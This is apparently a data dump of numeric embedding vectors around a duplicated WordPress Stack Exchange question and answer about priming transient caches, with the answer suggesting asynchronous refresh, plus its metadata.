-0.031280517578125,
0.0242767333984375,
-0.02496337890625,
0.02264404296875,
0.0010728836059570312,
-0.01480865478515625,
-0.0250244140625,
0.0188751220703125,
-0.020965576171875,
-0.0704345703125,
0.032440185546875,
-0.04119873046875,
0.032806396484375,
-0.057281494140625,
-0.007724761962890625,
-0.0200042724609375,
0.08856201171875,
-0.030517578125,
-0.01593017578125,
-0.0406494140625,
0.0180816650390625,
0.00018012523651123047,
-0.054443359375,
-0.01263427734375,
-0.036102294921875,
-0.05621337890625,
0.0044403076171875,
-0.0101470947265625,
-0.008544921875,
-0.026947021484375,
0.041351318359375,
-0.0198211669921875,
-0.0228729248046875,
0.0200347900390625,
-0.00030541419982910156,
-0.053863525390625,
0.0238189697265625,
-0.037872314453125,
0.01082611083984375,
-0.0184173583984375,
-0.0016736984252929688,
-0.06756591796875,
-0.0222625732421875,
0.0179290771484375,
0.0423583984375,
0.0140380859375,
-0.0811767578125,
0.0020847320556640625,
0.05108642578125,
0.029449462890625,
0.0631103515625,
0.01488494873046875,
-0.00630950927734375,
0.01016998291015625,
0.0013637542724609375,
0.05084228515625,
-0.02667236328125,
-0.0172576904296875,
-0.0236968994140625,
0.00806427001953125,
-0.003025054931640625,
-0.02337646484375,
-0.006473541259765625,
-0.0157470703125,
-0.00864410400390625,
0.004634857177734375,
-0.040802001953125,
-0.0279541015625,
0.0159149169921875,
-0.0014028549194335938,
-0.0089874267578125,
-0.039703369140625,
-0.034515380859375,
0.0110626220703125,
0.029388427734375,
-0.0196685791015625,
0.028900146484375,
0.0135040283203125,
0.01023101806640625,
-0.025634765625,
-0.06280517578125,
-0.0185699462890625,
0.0087127685546875,
-0.03790283203125,
0.06890869140625,
0.0177459716796875,
-0.0007762908935546875,
0.057220458984375,
-0.033111572265625,
0.02587890625,
0.01140594482421875,
0.05084228515625,
0.00036144256591796875,
-0.0242462158203125,
0.04071044921875,
0.00615692138671875,
-0.04840087890625,
0.005939483642578125,
-0.045440673828125,
-0.0146942138671875,
-0.019073486328125,
0.06463623046875,
-0.041351318359375,
0.06988525390625,
-0.0364990234375,
-0.00858306884765625,
-0.0124664306640625,
0.057891845703125,
0.0070953369140625,
0.06103515625,
-0.01812744140625,
0.021636962890625,
0.0273895263671875,
0.035888671875,
0.0194549560546875,
0.056121826171875,
-0.002643585205078125,
0.0750732421875,
0.0020904541015625,
0.031280517578125,
-0.0074005126953125,
0.0036220550537109375,
0.01541900634765625,
0.00751495361328125,
-0.038360595703125,
0.03643798828125,
-0.0165863037109375,
-0.042999267578125,
0.024505615234375,
0.051055908203125,
0.0206756591796875,
0.04730224609375,
0.0269012451171875,
-0.0189056396484375,
0.044036865234375,
0.03863525390625,
-0.0243988037109375,
-0.0297698974609375,
0.0229949951171875,
-0.0255126953125,
0.0015592575073242188,
0.042999267578125,
-0.01461029052734375,
0.0225677490234375,
-0.00519561767578125,
0.0021495819091796875,
-0.02081298828125,
0.06146240234375,
0.017730712890625,
-0.0080718994140625,
0.0149688720703125,
0.00823974609375,
0.0223388671875,
-0.00986480712890625,
-0.02471923828125,
0.0249481201171875,
0.0430908203125,
0.0184173583984375,
0.01354217529296875,
-0.029052734375,
-0.0360107421875,
-0.019317626953125,
0.0214691162109375,
0.014862060546875,
-0.0033416748046875,
-0.01497650146484375,
-0.0064697265625,
0.0244293212890625,
0.042327880859375,
-0.0146942138671875,
0.0019168853759765625,
-0.033416748046875,
-0.0214996337890625,
0.0254058837890625,
-0.040802001953125,
-0.00443267822265625,
0.0027484893798828125,
-0.03338623046875,
-0.0015287399291992188,
0.04156494140625,
-0.09649658203125,
-0.054351806640625,
-0.0220489501953125,
-0.0037517547607421875,
0.02093505859375,
-0.003143310546875,
0.07098388671875,
-0.05023193359375,
-0.0193328857421875,
-0.01001739501953125,
-0.0113067626953125,
0.06134033203125,
0.038665771484375,
-0.031646728515625,
0.00970458984375,
-0.02783203125,
-0.01448822021484375,
-0.0263519287109375,
-0.0263519287109375,
-0.052337646484375,
-0.0112152099609375,
-0.023101806640625,
0.01751708984375,
-0.035736083984375,
-0.01320648193359375,
-0.043548583984375,
0.016632080078125,
0.0111541748046875,
-0.000820159912109375,
0.004932403564453125,
0.11016845703125,
-0.05511474609375,
0.049163818359375,
0.0212554931640625,
0.07244873046875,
-0.0266571044921875,
-0.0100250244140625,
0.0199432373046875,
-0.0292816162109375,
-0.01666259765625,
-0.016082763671875,
-0.0074005126953125,
-0.005672454833984375,
0.02777099609375,
-0.005870819091796875,
0.01922607421875,
-0.054656982421875,
-0.007785797119140625,
-0.0028285980224609375,
0.038787841796875,
-0.050994873046875,
-0.01122283935546875,
0.0165863037109375,
-0.0020275115966796875,
-0.0229339599609375,
0.004833221435546875,
-0.01458740234375,
-0.01434326171875,
0.0258941650390625,
-0.00322723388671875,
0.004169464111328125,
-0.0633544921875,
0.0633544921875,
0.07684326171875,
-0.006793975830078125,
0.060821533203125,
-0.002765655517578125,
0.02435302734375,
0.06365966796875,
0.04150390625,
0.004192352294921875,
-0.034912109375,
0.06353759765625,
0.0215911865234375,
-0.0178375244140625,
0.0418701171875,
-0.04278564453125,
-0.047576904296875,
-0.010589599609375,
-0.01511383056640625,
-0.04339599609375,
0.01947021484375,
0.0207061767578125,
0.0419921875,
-0.0244598388671875,
-0.0040130615234375,
-0.0004706382751464844,
-0.0048370361328125,
0.0101776123046875,
0.0064849853515625,
-0.01457977294921875,
0.00823974609375,
-0.00782012939453125,
0.004741668701171875,
-0.02764892578125,
0.022491455078125,
0.01477813720703125,
0.0323486328125,
-0.016693115234375,
-0.018096923828125,
0.00771331787109375,
-0.061279296875,
0.0223388671875,
-0.0246124267578125,
0.01305389404296875,
-0.041778564453125,
0.0257568359375,
-0.0011205673217773438,
0.048675537109375,
-0.01338958740234375,
0.01425933837890625,
-0.0214385986328125,
0.0460205078125,
-0.042388916015625,
0.007297515869140625,
0.01009368896484375,
-0.05926513671875,
-0.01934814453125,
0.00649261474609375,
0.0287322998046875,
-0.0340576171875,
-0.05902099609375,
0.001438140869140625,
-0.0828857421875,
0.01010894775390625,
0.004810333251953125,
0.00652313232421875,
0.046051025390625,
-0.03497314453125,
-0.003437042236328125,
0.03656005859375,
0.0335693359375,
-0.011322021484375,
-0.006626129150390625,
-0.01131439208984375,
-0.04644775390625,
-0.00600433349609375,
-0.0179901123046875,
-0.005756378173828125,
0.0255279541015625,
-0.0172119140625,
-0.05755615234375,
0.08349609375,
-0.026336669921875,
0.038330078125,
0.01337432861328125,
0.036956787109375,
-0.0166473388671875,
0.0030689239501953125,
-0.034271240234375,
0.058990478515625,
0.0841064453125,
0.037261962890625,
-0.01317596435546875,
-0.032623291015625,
0.031982421875,
0.049407958984375,
0.0084686279296875,
-0.002643585205078125,
-0.032379150390625,
0.003948211669921875,
0.028839111328125,
0.00809478759765625,
-0.006328582763671875,
0.06829833984375,
0.00331878662109375,
-0.01434326171875,
0.04278564453125,
-0.036895751953125,
0.0220184326171875,
-0.008026123046875,
0.0218353271484375,
0.01538848876953125,
0.0023555755615234375,
-0.01015472412109375,
-0.015167236328125,
0.01349639892578125,
-0.0209808349609375,
-0.01168060302734375,
-0.010589599609375,
-0.0170440673828125,
0.028076171875,
0.01462554931640625,
0.029510498046875,
-0.06451416015625,
-0.02642822265625,
-0.01041412353515625,
0.0443115234375,
-0.006267547607421875,
0.034820556640625,
-0.01206207275390625,
0.017974853515625,
0.0194854736328125,
0.002033233642578125,
0.021392822265625,
0.046661376953125,
-0.052886962890625,
0.039520263671875,
0.01036834716796875,
0.011932373046875,
-0.05224609375,
0.00742340087890625,
0.0218963623046875,
0.047332763671875,
-0.047943115234375,
-0.0657958984375,
0.00496673583984375,
-0.043701171875,
-0.0077362060546875,
0.007904052734375,
-0.0120086669921875,
0.004344940185546875,
0.0355224609375,
-0.005947113037109375,
-0.056671142578125,
0.003513336181640625,
0.060577392578125,
0.005176544189453125,
-0.01137542724609375,
-0.005634307861328125,
-0.05316162109375,
0.0024852752685546875,
-0.046661376953125,
0.007312774658203125,
0.00872802734375,
0.038238525390625,
-0.0185394287109375,
0.003864288330078125,
0.01276397705078125,
-0.0085601806640625,
-0.0060577392578125,
-0.0018205642700195312,
0.01454925537109375,
-0.00913238525390625,
0.0265655517578125,
-0.0028553009033203125,
0.0167083740234375,
0.03460693359375,
-0.0244140625,
0.0162811279296875,
0.020782470703125,
-0.0458984375,
-0.0091400146484375,
0.035247802734375,
-0.01024627685546875,
-0.01476287841796875,
-0.0220947265625,
-0.02593994140625,
0.0020732879638671875,
-0.00814056396484375,
-0.023345947265625,
0.01084136962890625,
0.02178955078125,
0.009613037109375,
0.01374053955078125,
0.0033893585205078125,
0.00923919677734375,
0.028717041015625,
0.0182037353515625,
0.0027484893798828125,
0.028564453125,
-0.102783203125,
-0.01523590087890625,
-0.01493072509765625,
-0.03546142578125,
0.03668212890625,
0.04852294921875,
0.001468658447265625,
-0.0126953125,
0.0255126953125,
-0.0117950439453125,
-0.0251007080078125,
0.0134124755859375,
0.01873779296875,
0.008514404296875,
0.005435943603515625,
0.0192413330078125,
-0.024627685546875,
-0.00714874267578125,
0.0212860107421875,
0.005397796630859375,
0.02740478515625,
0.05859375,
0.0095977783203125,
0.00531005859375,
0.0273895263671875,
0.037078857421875,
-0.038330078125,
-0.035430908203125,
0.10260009765625,
-0.05841064453125,
0.006198883056640625,
-0.00771331787109375,
-0.060302734375,
0.04852294921875,
0.0168914794921875,
0.0123443603515625,
0.04010009765625,
-0.036773681640625,
0.01019287109375,
-0.003841400146484375,
0.0234375,
-0.007801055908203125,
-0.016082763671875,
0.00727081298828125,
0.0055084228515625,
0.0274810791015625,
0.04534912109375,
-0.003925323486328125,
0.0131072998046875,
0.00970458984375,
-0.051116943359375,
0.0261383056640625,
-0.052154541015625,
0.033416748046875,
0.0281524658203125,
0.0308990478515625,
-0.037109375,
0.006381988525390625,
-0.007434844970703125,
0.037322998046875,
-0.01168060302734375,
0.0526123046875,
0.0245819091796875,
0.0213165283203125,
-0.0244140625,
0.00804901123046875,
-0.0018606185913085938,
-0.0457763671875,
-0.01953125,
0.0272216796875,
-0.0117034912109375,
-0.0185699462890625,
-0.0255279541015625,
-0.02154541015625,
-0.053619384765625,
0.02032470703125,
0.023223876953125,
-0.002292633056640625,
0.009552001953125,
0.003452301025390625,
-0.0024204254150390625,
0.003459930419921875,
0.0268096923828125,
-0.058197021484375,
0.053009033203125,
-0.00891876220703125,
0.0120697021484375,
-0.00832366943359375,
0.021026611328125,
-0.01139068603515625,
-0.0199737548828125,
-0.040435791015625,
0.04168701171875,
-0.0244293212890625,
-0.01374053955078125,
0.022979736328125,
0.032958984375,
0.030303955078125,
-0.028717041015625,
-0.0008711814880371094,
0.05841064453125,
0.0259246826171875,
0.09375,
0.0140228271484375,
-0.035308837890625,
0.007152557373046875,
-0.0003037452697753906,
0.0138397216796875,
-0.004375457763671875,
0.0016584396362304688,
0.005069732666015625,
0.000988006591796875,
0.01210784912109375,
0.004329681396484375,
0.036224365234375,
-0.029388427734375,
-0.0638427734375,
0.0897216796875,
-0.005825042724609375,
-0.03997802734375,
-0.0400390625,
0.0301361083984375,
0.00399017333984375,
-0.0156707763671875,
-0.0036468505859375,
-0.007144927978515625,
0.01092529296875,
0.0165252685546875,
0.0364990234375,
0.01250457763671875,
0.0161590576171875,
0.035858154296875,
-0.037322998046875,
0.0254058837890625,
0.0122528076171875,
0.010345458984375,
0.0262908935546875,
0.0009474754333496094,
0.01715087890625,
0.049407958984375,
-0.031524658203125,
0.0013103485107421875,
-0.0108795166015625,
-0.025115966796875,
0.022247314453125,
0.01389312744140625,
-0.03192138671875,
-0.0076446533203125,
0.007579803466796875,
0.053802490234375,
0.0189971923828125,
-0.0161895751953125,
0.006298065185546875,
-0.0221099853515625,
-0.0189056396484375,
-0.006439208984375,
0.01544952392578125,
-0.04388427734375,
0.00885009765625,
0.00689697265625,
-0.032379150390625,
0.0019092559814453125,
0.0141448974609375,
-0.029327392578125,
0.0108642578125,
0.0229949951171875,
-0.0064697265625,
-0.0243988037109375,
-0.0183563232421875,
0.02264404296875,
-0.032257080078125,
-0.0271148681640625,
0.000007987022399902344,
0.01812744140625,
-0.0199737548828125,
0.01007080078125,
0.0069580078125,
0.038177490234375,
-0.05804443359375,
0.01337432861328125,
0.0017137527465820312,
0.051025390625,
-0.062408447265625,
0.01387786865234375,
-0.031646728515625,
0.00592803955078125,
0.0029354095458984375,
-0.01477813720703125,
-0.01114654541015625,
0.031402587890625,
0.016998291015625,
0.06781005859375,
0.01015472412109375,
0.09625244140625,
-0.0183563232421875,
0.061187744140625,
0.0312042236328125,
-0.033233642578125,
0.0273895263671875,
-0.0234375,
0.0008673667907714844,
-0.0300445556640625,
-0.01378631591796875,
-0.05548095703125,
0.0034084320068359375,
-0.00850677490234375,
-0.0112152099609375,
0.029815673828125
] |
6c3ae8004fffd93220305f7907a36521d7250dd1
|
Wordpress Stackexchange
Q: Is priming a Transient Cache possible? I'm currently using Wordpress Transient Caching when querying images I've uploaded and tagged. Using Transient Caching has really sped up these queries once they are cached, but unfortunately, once the cached query expires it is only cached again when someone loads that page.
Is it possible to preload/prime transient caches so users don't get stuck with that responsibility and long wait time?
If not, should I be using something else to cache that does have that ability?
Thank you in advance for any advice
A: Your issue is not as much priming (which only happens first time) but that cache refreshes in solution you are using are synchronous.
Transients API is not dealing with updates by itself, it is handled by code that calls it. So it doesn't implement async updates.
On other hand there is nothing that prevents implementing async on top of it. It can be done in custom code or making use of generic solution with such functionality, for example WP-TLC-Transients library.
|
Q: Is priming a Transient Cache possible? I'm currently using Wordpress Transient Caching when querying images I've uploaded and tagged. Using Transient Caching has really sped up these queries once they are cached, but unfortunately, once the cached query expires it is only cached again when someone loads that page.
Is it possible to preload/prime transient caches so users don't get stuck with that responsibility and long wait time?
If not, should I be using something else to cache that does have that ability?
Thank you in advance for any advice
A: Your issue is not as much priming (which only happens first time) but that cache refreshes in solution you are using are synchronous.
Transients API is not dealing with updates by itself, it is handled by code that calls it. So it doesn't implement async updates.
On other hand there is nothing that prevents implementing async on top of it. It can be done in custom code or making use of generic solution with such functionality, for example WP-TLC-Transients library.
|
wordpress
|
{
"language": "en",
"length": 172,
"provenance": "stackexchange_00019.jsonl.gz:437027",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113970"
}
|
[
0.10186767578125,
0.013519287109375,
0.046905517578125,
-0.06951904296875,
0.041290283203125,
-0.0163421630859375,
0.0311737060546875,
-0.039337158203125,
0.056304931640625,
0.024261474609375,
-0.032928466796875,
-0.03533935546875,
-0.00788116455078125,
-0.006282806396484375,
-0.07989501953125,
-0.038299560546875,
0.053070068359375,
-0.0279693603515625,
0.04754638671875,
0.0012063980102539062,
-0.00308990478515625,
0.0225982666015625,
0.05853271484375,
0.0161590576171875,
0.04583740234375,
-0.0044403076171875,
0.049072265625,
-0.02728271484375,
0.03265380859375,
-0.0092926025390625,
0.03216552734375,
-0.031494140625,
-0.0055084228515625,
0.06915283203125,
-0.0265045166015625,
0.01357269287109375,
0.0214996337890625,
0.032867431640625,
0.03277587890625,
0.01056671142578125,
-0.01018524169921875,
0.0276031494140625,
-0.01806640625,
0.023223876953125,
-0.022796630859375,
-0.03070068359375,
-0.029693603515625,
-0.044158935546875,
0.0233306884765625,
0.0098876953125,
0.0019121170043945312,
-0.026397705078125,
0.0116424560546875,
-0.0041046142578125,
-0.026214599609375,
-0.03875732421875,
-0.01959228515625,
0.00036525726318359375,
0.0418701171875,
-0.0164947509765625,
0.0009636878967285156,
-0.020263671875,
0.02850341796875,
0.01314544677734375,
-0.0258941650390625,
-0.0230865478515625,
0.036102294921875,
0.01474761962890625,
-0.00922393798828125,
-0.03558349609375,
0.0283966064453125,
0.02874755859375,
0.004673004150390625,
-0.00687408447265625,
-0.0244293212890625,
0.0108184814453125,
0.029449462890625,
0.00962066650390625,
-0.00299072265625,
0.0025787353515625,
0.02655029296875,
-0.037322998046875,
-0.0272674560546875,
-0.00902557373046875,
0.03369140625,
0.035614013671875,
-0.0022869110107421875,
-0.00884246826171875,
-0.04132080078125,
-0.030548095703125,
-0.037841796875,
-0.08306884765625,
-0.05316162109375,
0.02587890625,
-0.00003826618194580078,
0.01012420654296875,
-0.0107421875,
0.01506805419921875,
0.002124786376953125,
0.022186279296875,
-0.01503753662109375,
-0.0275421142578125,
0.0040435791015625,
-0.023101806640625,
0.00376129150390625,
-0.0278778076171875,
-0.00543975830078125,
0.00848388671875,
0.06756591796875,
0.056732177734375,
-0.01097869873046875,
0.0633544921875,
0.006740570068359375,
-0.0003159046173095703,
-0.01453399658203125,
0.01282501220703125,
-0.017730712890625,
0.0027790069580078125,
-0.01244354248046875,
0.01084136962890625,
0.021942138671875,
0.039520263671875,
-0.034912109375,
-0.0164642333984375,
-0.01343536376953125,
-0.043243408203125,
-0.01045989990234375,
0.0143280029296875,
-0.0196075439453125,
0.0023746490478515625,
-0.03192138671875,
0.0220489501953125,
0.048004150390625,
0.01148223876953125,
-0.00701141357421875,
-0.0182647705078125,
0.025390625,
-0.01224517822265625,
0.021026611328125,
-0.0295562744140625,
0.0423583984375,
-0.0227813720703125,
-0.00970458984375,
0.033233642578125,
0.0244293212890625,
0.01221466064453125,
0.00893402099609375,
0.01318359375,
0.005558013916015625,
-0.0285491943359375,
0.038330078125,
-0.031219482421875,
0.02947998046875,
-0.0268402099609375,
-0.0050811767578125,
-0.033660888671875,
0.010986328125,
-0.0265655517578125,
0.00470733642578125,
-0.031341552734375,
-0.01435089111328125,
-0.052154541015625,
-0.00003987550735473633,
0.037750244140625,
0.015777587890625,
0.058074951171875,
0.00966644287109375,
0.004657745361328125,
0.0189208984375,
0.06097412109375,
-0.00572967529296875,
-0.041015625,
0.0087432861328125,
0.02264404296875,
-0.0175018310546875,
0.0279541015625,
-0.01210784912109375,
0.039337158203125,
0.047088623046875,
-0.043975830078125,
-0.039703369140625,
-0.048553466796875,
0.091064453125,
-0.0297698974609375,
-0.01427459716796875,
0.01983642578125,
0.0220794677734375,
0.07855224609375,
-0.0166778564453125,
0.04217529296875,
-0.01004791259765625,
0.0130157470703125,
-0.031036376953125,
0.076416015625,
0.008514404296875,
-0.0276031494140625,
-0.0615234375,
-0.0011892318725585938,
-0.0126190185546875,
-0.05126953125,
0.018829345703125,
-0.0137481689453125,
-0.01120758056640625,
-0.005985260009765625,
-0.068603515625,
-0.0110626220703125,
-0.024810791015625,
0.01971435546875,
0.0166015625,
0.04559326171875,
0.004169464111328125,
0.016815185546875,
-0.00620269775390625,
-0.0360107421875,
-0.02178955078125,
0.005565643310546875,
-0.01165008544921875,
0.0156402587890625,
0.01020050048828125,
0.01025390625,
0.008514404296875,
0.00592041015625,
-0.00213623046875,
0.0029163360595703125,
0.0219573974609375,
0.00899505615234375,
-0.0179901123046875,
0.007274627685546875,
0.02313232421875,
0.005390167236328125,
0.0217132568359375,
0.0175323486328125,
-0.028350830078125,
-0.00664520263671875,
-0.0220489501953125,
-0.0204010009765625,
-0.044281005859375,
-0.0904541015625,
0.0167999267578125,
0.06787109375,
0.0125579833984375,
0.0275115966796875,
-0.034149169921875,
0.01454925537109375,
0.0531005859375,
0.0081024169921875,
-0.0022144317626953125,
0.0155792236328125,
-0.0013036727905273438,
0.00580596923828125,
-0.01172637939453125,
-0.0200958251953125,
0.0187530517578125,
-0.04278564453125,
0.01739501953125,
0.0200347900390625,
0.017059326171875,
0.0171966552734375,
-0.00460052490234375,
0.000029921531677246094,
0.01177978515625,
0.050201416015625,
-0.0005049705505371094,
0.031463623046875,
0.0171356201171875,
-0.015960693359375,
0.02618408203125,
0.0194244384765625,
0.037506103515625,
-0.01458740234375,
-0.004425048828125,
-0.0811767578125,
0.00957489013671875,
0.0037994384765625,
-0.00867462158203125,
0.021697998046875,
-0.0130767822265625,
-0.0008611679077148438,
0.017242431640625,
-0.0135650634765625,
-0.01097869873046875,
0.028472900390625,
-0.0118560791015625,
-0.0139923095703125,
-0.0343017578125,
0.0271148681640625,
0.0156707763671875,
0.01395416259765625,
-0.021392822265625,
-0.02423095703125,
0.011810302734375,
0.028350830078125,
-0.007175445556640625,
0.0015773773193359375,
-0.01432037353515625,
-0.0134429931640625,
-0.0081329345703125,
-0.01446533203125,
0.033294677734375,
-0.005191802978515625,
0.026641845703125,
0.07843017578125,
-0.0104827880859375,
0.052520751953125,
0.0011005401611328125,
0.032470703125,
0.0259246826171875,
0.000576019287109375,
-0.0117950439453125,
-0.002071380615234375,
-0.058502197265625,
-0.031951904296875,
0.037872314453125,
0.08929443359375,
-0.01457977294921875,
-0.030670166015625,
0.005504608154296875,
0.042999267578125,
-0.0244293212890625,
-0.07232666015625,
0.0009174346923828125,
-0.006710052490234375,
-0.03106689453125,
0.006252288818359375,
-0.005130767822265625,
0.00016832351684570312,
0.01372528076171875,
-0.006610870361328125,
-0.03375244140625,
-0.0185089111328125,
-0.0237274169921875,
-0.042144775390625,
-0.0162200927734375,
0.0197601318359375,
-0.003330230712890625,
-0.00836181640625,
-0.0009646415710449219,
0.0297698974609375,
-0.0222015380859375,
-0.10302734375,
-0.0419921875,
0.04705810546875,
-0.0082550048828125,
-0.005023956298828125,
0.01898193359375,
-0.0024662017822265625,
0.0008511543273925781,
-0.0009737014770507812,
-0.004291534423828125,
0.032928466796875,
-0.0289459228515625,
0.00115966796875,
-0.01068115234375,
-0.0113525390625,
0.04681396484375,
-0.01025390625,
-0.00957489013671875,
0.036102294921875,
0.051483154296875,
-0.01702880859375,
0.0050811767578125,
-0.023590087890625,
-0.043975830078125,
-0.01337432861328125,
0.05841064453125,
-0.00344085693359375,
-0.032257080078125,
-0.02349853515625,
-0.041015625,
-0.01177215576171875,
-0.023773193359375,
-0.0223846435546875,
0.024810791015625,
-0.02947998046875,
-0.029327392578125,
0.032196044921875,
0.046295166015625,
-0.007099151611328125,
0.035400390625,
0.0301055908203125,
0.0210418701171875,
0.0162200927734375,
-0.007965087890625,
-0.006793975830078125,
-0.0210113525390625,
0.02996826171875,
-0.023406982421875,
0.0221405029296875,
-0.033782958984375,
-0.02880859375,
-0.02703857421875,
0.06048583984375,
-0.017486572265625,
-0.033050537109375,
-0.002643585205078125,
0.0142974853515625,
-0.047943115234375,
0.001373291015625,
0.004909515380859375,
-0.0155792236328125,
-0.0179595947265625,
-0.00482940673828125,
-0.0041656494140625,
-0.0310516357421875,
-0.0170745849609375,
-0.01308441162109375,
-0.00678253173828125,
-0.01157379150390625,
0.0285797119140625,
-0.068603515625,
0.026275634765625,
-0.06292724609375,
0.0183868408203125,
-0.0828857421875,
-0.006134033203125,
-0.04498291015625,
-0.0357666015625,
-0.004730224609375,
-0.05615234375,
0.03594970703125,
0.0396728515625,
-0.00817108154296875,
-0.006412506103515625,
0.0228729248046875,
0.030059814453125,
0.057220458984375,
0.0098724365234375,
-0.0198822021484375,
0.051788330078125,
0.0009164810180664062,
0.03997802734375,
-0.01477813720703125,
0.0081024169921875,
0.01262664794921875,
-0.030487060546875,
-0.033447265625,
-0.052337646484375,
-0.0618896484375,
-0.01493072509765625,
-0.05279541015625,
-0.033935546875,
-0.0181427001953125,
-0.00670623779296875,
-0.0000368952751159668,
-0.055389404296875,
0.0384521484375,
-0.0029144287109375,
-0.007213592529296875,
0.03411865234375,
0.022308349609375,
0.0248565673828125,
-0.004261016845703125,
0.052642822265625,
0.01229095458984375,
-0.031768798828125,
0.0189971923828125,
0.037261962890625,
0.0266876220703125,
0.01511383056640625,
-0.03497314453125,
-0.04022216796875,
-0.028472900390625,
0.016845703125,
-0.00826263427734375,
0.0189208984375,
-0.04364013671875,
-0.0021457672119140625,
0.00519561767578125,
-0.00579833984375,
0.00672149658203125,
0.01387786865234375,
0.034088134765625,
0.05181884765625,
-0.002826690673828125,
-0.0184173583984375,
-0.03607177734375,
0.04742431640625,
-0.0152587890625,
-0.01702880859375,
-0.0706787109375,
-0.074462890625,
0.0262603759765625,
-0.04498291015625,
0.035003662109375,
0.006839752197265625,
0.00506591796875,
0.0638427734375,
0.0462646484375,
0.016754150390625,
-0.0125885009765625,
0.0073699951171875,
-0.022216796875,
0.031463623046875,
0.034881591796875,
0.01512908935546875,
-0.0121917724609375,
0.00010603666305541992,
0.016143798828125,
-0.034515380859375,
-0.079833984375,
0.008819580078125,
-0.0177001953125,
0.03363037109375,
0.051177978515625,
-0.00931549072265625,
0.00592041015625,
-0.0012645721435546875,
0.013275146484375,
-0.00897979736328125,
-0.0288238525390625,
0.022979736328125,
-0.0283050537109375,
0.01239013671875,
0.001194000244140625,
-0.0009608268737792969,
0.0282440185546875,
0.03558349609375,
-0.0089874267578125,
0.047271728515625,
-0.0258331298828125,
0.037994384765625,
0.053802490234375,
-0.0223541259765625,
-0.00991058349609375,
0.052764892578125,
0.013427734375,
-0.042572021484375,
0.03265380859375,
-0.047271728515625,
0.022430419921875,
0.027557373046875,
0.03948974609375,
0.001583099365234375,
-0.039093017578125,
0.007396697998046875,
-0.03436279296875,
-0.0241546630859375,
-0.01806640625,
-0.039825439453125,
0.0036449432373046875,
-0.027008056640625,
-0.04620361328125,
0.00403594970703125,
0.013427734375,
-0.0017833709716796875,
0.0120697021484375,
-0.012237548828125,
0.05023193359375,
-0.0132904052734375,
0.05499267578125,
-0.0290374755859375,
-0.02935791015625,
-0.04156494140625,
-0.0655517578125,
-0.0625,
0.06964111328125,
0.037445068359375,
-0.0106964111328125,
-0.033935546875,
0.01163482666015625,
0.0011892318725585938,
0.0083465576171875,
-0.0560302734375,
0.0101318359375,
-0.033477783203125,
-0.00225830078125,
0.0256805419921875,
-0.01053619384765625,
-0.0273590087890625,
-0.0175628662109375,
-0.0584716796875,
-0.032928466796875,
-0.0266876220703125,
-0.0312347412109375,
-0.03411865234375,
0.01800537109375,
0.0164794921875,
0.04193115234375,
-0.0499267578125,
-0.069580078125,
-0.005542755126953125,
-0.007205963134765625,
0.0200958251953125,
0.0540771484375,
0.0022125244140625,
-0.031494140625,
0.039764404296875,
0.011474609375,
0.0191650390625,
-0.02362060546875,
-0.004222869873046875,
-0.02972412109375,
-0.0050201416015625,
-0.059417724609375,
-0.010772705078125,
0.017364501953125,
-0.01490020751953125,
0.038330078125,
0.026611328125,
-0.0008120536804199219,
0.0307769775390625,
-0.039794921875,
0.002407073974609375,
-0.01064300537109375,
0.0228729248046875,
-0.057342529296875,
-0.005634307861328125,
0.047760009765625,
-0.0026035308837890625,
0.00555419921875,
-0.0141143798828125,
-0.05645751953125,
0.01116180419921875,
0.0325927734375,
0.007129669189453125,
0.003742218017578125,
0.01226806640625,
0.002719879150390625,
0.051239013671875,
-0.01125335693359375,
0.046661376953125,
0.0234375,
0.0135498046875,
0.05316162109375,
0.0007295608520507812,
-0.041900634765625,
-0.029571533203125,
0.0241546630859375,
0.019500732421875,
0.003204345703125,
0.046661376953125,
-0.0108795166015625,
-0.03424072265625,
0.00531005859375,
0.002140045166015625,
0.0240631103515625,
-0.04266357421875,
-0.0102081298828125,
-0.05340576171875,
-0.063232421875,
-0.005756378173828125,
-0.0038089752197265625,
-0.020294189453125,
0.02099609375,
-0.0174407958984375,
-0.013031005859375,
0.0022869110107421875,
-0.00890350341796875,
-0.01230621337890625,
0.0046234130859375,
0.0272064208984375,
0.005664825439453125,
-0.0266571044921875,
-0.00785064697265625,
0.0262298583984375,
-0.0267333984375,
-0.0085296630859375,
0.03204345703125,
-0.0105438232421875,
-0.003864288330078125,
-0.020599365234375,
0.030487060546875,
0.0119476318359375,
-0.033935546875,
0.0261993408203125,
0.0184478759765625,
0.00986480712890625,
0.0263824462890625,
0.00811767578125,
-0.0014696121215820312,
-0.005153656005859375,
-0.0262451171875,
0.01983642578125,
-0.035888671875,
0.007282257080078125,
0.005542755126953125,
-0.059478759765625,
0.012420654296875,
-0.0186767578125,
-0.00254058837890625,
-0.017669677734375,
-0.03009033203125,
0.039093017578125,
-0.0222930908203125,
-0.0002168416976928711,
0.039703369140625,
0.014129638671875,
-0.01800537109375,
-0.03375244140625,
-0.02630615234375,
-0.0102081298828125,
0.01445770263671875,
-0.048187255859375,
-0.018798828125,
0.032806396484375,
-0.04986572265625,
-0.0775146484375,
0.083984375,
-0.0090484619140625,
0.069091796875,
0.0191650390625,
0.0128936767578125,
-0.0303192138671875,
-0.0217437744140625,
-0.053131103515625,
0.0180511474609375,
0.0003216266632080078,
0.06219482421875,
-0.03851318359375,
-0.0060272216796875,
0.015350341796875,
0.0177459716796875,
0.05126953125,
0.0192718505859375,
-0.06268310546875,
0.0194244384765625,
0.0273895263671875,
-0.01389312744140625,
-0.0145416259765625,
0.09405517578125,
-0.013275146484375,
0.005218505859375,
0.01172637939453125,
-0.0137786865234375,
0.0240631103515625,
-0.0202178955078125,
-0.029815673828125,
0.0139923095703125,
0.02880859375,
0.032012939453125,
0.00399017333984375,
0.07598876953125,
-0.076416015625,
0.012603759765625,
0.056182861328125,
0.015045166015625,
0.0258941650390625,
-0.0020751953125,
0.01241302490234375,
0.017120361328125,
-0.053619384765625,
0.027587890625,
0.025054931640625,
0.0190582275390625,
-0.0014286041259765625,
0.0421142578125,
0.014068603515625,
-0.01033782958984375,
0.00962066650390625,
0.001678466796875,
0.01404571533203125,
-0.007488250732421875,
0.0245513916015625,
0.0110626220703125,
0.046661376953125,
-0.052276611328125,
-0.07904052734375,
0.04681396484375,
0.06329345703125,
0.002105712890625,
-0.04876708984375,
0.01532745361328125,
0.0079803466796875,
0.0248870849609375,
-0.00153350830078125,
0.0227203369140625,
-0.07781982421875,
-0.0312347412109375,
0.045440673828125,
0.007129669189453125,
0.007450103759765625,
-0.0247039794921875,
0.043365478515625,
0.09259033203125,
-0.028594970703125,
0.0242767333984375,
-0.0020198822021484375,
